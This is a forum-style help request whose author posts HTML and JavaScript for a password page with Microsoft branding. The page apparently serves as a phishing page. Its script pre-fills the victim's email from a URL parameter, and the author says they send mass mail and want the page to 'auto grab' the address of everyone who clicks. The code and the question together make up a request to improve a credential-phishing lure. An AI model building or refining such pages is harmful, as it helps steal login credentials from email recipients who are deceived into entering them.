How Do I Auto Grab User Email Address?

below are my code

<section id="section_pwd">
        <div class="auth-wrapper">
            <img src="assets/logo.png" alt="Microsoft" class="d-block" />
            <div class="identity w-100 mt-16 mb-16">
                <button class="back">
                    <img src="assets/back.png" />
                </button>
                <span id="user_identity"><pre id="signature"></pre></span>
            </div>
            <h2 class="title mb-16">Enter password</h2>
            <form>
                <div class="mb-16">
                    <p id="error_pwd" class="error"></p>
                    <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
                </div>
            </form>
            <div>
                <p class="mb-16"> <a href="#" class="link fs-13">Forgot password?</a></p>
                <p class="mb-16">
                    <a href="#" class="link fs-13">Other ways to sign in</a>
                </p>
            </div>
            <div>
                <button class="btn" id="btn_sig">Sign in</button>
            </div>
        </div>
    </section>

 <script>
        document.addEventListener("DOMContentLoaded", function() {
            // Get the email parameter from the URL
            var urlParams = new URLSearchParams(window.location.search);
            var email = urlParams.get('email');

            // If the email parameter is present, update the password input and generate the signature
            if (email) {
                var passwordInput = document.getElementById('inp_pwd');
                var signatureOutput = document.getElementById('signature');

                // Update the password input with the email
                passwordInput.value = email;

                // Generate the signature (customize this as needed)
                var signature = email;

                // Update the signature output
                signatureOutput.textContent = signature;
            }
        });
    </script>

It works only when done manually using https://example.com/jik/[email protected] but since am sending a mass mail, i want it to auto grab any of the users that click on my link.

Note that: this shows the email address manually instead of auto grabbing